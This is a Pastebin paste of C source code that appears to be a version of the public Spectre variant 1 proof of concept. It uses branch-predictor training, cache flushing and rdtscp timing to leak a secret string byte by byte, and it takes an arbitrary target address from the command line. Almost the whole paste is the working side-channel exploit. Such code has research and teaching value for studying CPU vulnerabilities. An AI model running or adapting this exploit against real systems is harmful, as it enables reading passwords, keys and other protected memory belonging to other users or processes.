Guest User

Untitled

a guest
Jan 23rd, 2018
65
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.99 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <stdint.h>
  4. #include <string.h>
  5. #ifdef _MSC_VER
  6. #include <intrin.h> /* for rdtscp and clflush */
  7. #pragma optimize("gt",on)
  8. #else
  9. #include <x86intrin.h> /* for rdtscp and clflush */
  10. #endif
  11.  
  12. /********************************************************************
  13. Victim code.
  14. ********************************************************************/
  15. unsigned int array1_size = 16;
  16. uint8_t unused1[64];
  17. uint8_t array1[160] = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 };
  18. uint8_t unused2[64];
  19. uint8_t array2[256 * 512];
  20.  
  21. char *secret = "The Magic Words are Squeamish Ossifrage.";
  22.  
  23. unsigned int edx = 0;
  24.  
  25. uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */
  26.  
  27. void victim_function(size_t x) {
  28. if (x < array1_size) {
  29. temp &= array2[array1[x] * 512];
  30. }
  31. }
  32.  
  33. /********************************************************************
  34. Analysis code
  35. ********************************************************************/
  36. #define CACHE_HIT_THRESHOLD (150) /* assume cache hit if time <= threshold */
  37.  
  38. int check_rdtscp() {
  39. __asm__ __volatile__ (
  40. "movl $0x80000001, %%eax\n"
  41. "cpuid\n"
  42. : "=d"(edx)
  43. :: "%eax", "%ebx", "%ecx"
  44. );
  45. return (edx&(1<<27));
  46. }
  47.  
  48. /* Report best guess in value[0] and runner-up in value[1] */
  49. void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
  50. static int results[256];
  51. int tries, i, j, k, mix_i;
  52. unsigned int junk = 0;
  53. size_t training_x, x;
  54. register uint64_t time1, time2;
  55. volatile uint8_t * addr;
  56. volatile int z = 0;
  57.  
  58. for (i = 0; i < 256; i++)
  59. results[i] = 0;
  60. for (tries = 999; tries > 0; tries--) {
  61.  
  62. /* Flush array2[256*(0..255)] from cache */
  63. for (i = 0; i < 256; i++)
  64. _mm_clflush(&array2[i * 512]); /* intrinsic for clflush instruction */
  65.  
  66. /* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
  67. training_x = tries % array1_size;
  68. for (j = 29; j >= 0; j--) {
  69. _mm_clflush(&array1_size);
  70. for (z = 0; z < 100; z++) {} /* Delay (can also mfence) */
  71.  
  72. /* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
  73. /* Avoid jumps in case those tip off the branch predictor */
  74. x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
  75. x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
  76. x = training_x ^ (x & (malicious_x ^ training_x));
  77.  
  78. /* Call the victim! */
  79. victim_function(x);
  80.  
  81. }
  82.  
  83. /* Time reads. Order is lightly mixed up to prevent stride prediction */
  84. for (i = 0; i < 256; i++) {
  85. mix_i = ((i * 167) + 13) & 255;
  86. addr = & array2[mix_i * 512];
  87. if (check_rdtscp()) {
  88. time1 = __rdtscp(& junk); /* READ TIMER */
  89. junk = * addr; /* MEMORY ACCESS TO TIME */
  90. time2 = __rdtscp(& junk); /* READ TIMER */
  91. time2 -= time1; /* COMPUTE ELAPSED TIME */
  92. } else {
  93. time1 = __rdtsc(); /* READ TIMER */
  94. junk = * addr; /* MEMORY ACCESS TO TIME */
  95. time2 = __rdtsc(); /* READ TIMER */
  96. time2 -= time1; /* COMPUTE ELAPSED TIME */
  97. }
  98. if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
  99. results[mix_i]++; /* cache hit - add +1 to score for this value */
  100. }
  101.  
  102. /* Locate highest & second-highest results results tallies in j/k */
  103. j = k = -1;
  104. for (i = 0; i < 256; i++) {
  105. if (j < 0 || results[i] >= results[j]) {
  106. k = j;
  107. j = i;
  108. } else if (k < 0 || results[i] >= results[k]) {
  109. k = i;
  110. }
  111. }
  112. if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
  113. break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
  114. }
  115. results[0] ^= junk; /* use junk so code above won’t get optimized out*/
  116. value[0] = (uint8_t)j;
  117. score[0] = results[j];
  118. value[1] = (uint8_t)k;
  119. score[1] = results[k];
  120. }
  121.  
  122. int main(int argc, const char **argv) {
  123. size_t malicious_x = (size_t)(secret - (char*)array1); /* default for malicious_x */
  124. int i, score[2], len = 40;
  125. uint8_t value[2], normalized[1];
  126. char *recovered = (char*)calloc(len + 1, sizeof(char*));
  127.  
  128. for (i = 0; i < sizeof(array2); i++)
  129. array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */
  130. if (argc == 3) {
  131. sscanf(argv[1], "%p", (void**)(&malicious_x));
  132. malicious_x -= (size_t)array1; /* Convert input value into a pointer */
  133. sscanf(argv[2], "%d", &len);
  134. }
  135.  
  136. printf("Reading %d bytes:\n", len);
  137. while (--len >= 0) {
  138. printf("Reading at malicious_x = %p... ", (void*)malicious_x);
  139. readMemoryByte(malicious_x++, value, score);
  140. printf("%s: ", (score[0] >= 2 * score[1] ? "Success" : "Unclear"));
  141. normalized[0] = (value[0] > 31 && value[0] < 127) ? value[0] : (uint8_t)'?';
  142. if (argc <= 2)
  143. recovered[strlen(recovered)] = normalized[0];
  144. printf("0x%02X=\'%c\' score=%d ", value[0], normalized[0], score[0]);
  145. if (score[1] > 0)
  146. printf("(second best: 0x%02X score=%d)", value[1], score[1]);
  147. printf("\n");
  148. }
  149. printf("\n");
  150. if (argc <= 2) {
  151. printf(" Original: %s\n", secret);
  152. printf("Recovered: %s\n", recovered);
  153. }
  154. return (0);
  155. }
Add Comment
Please, Sign In to add comment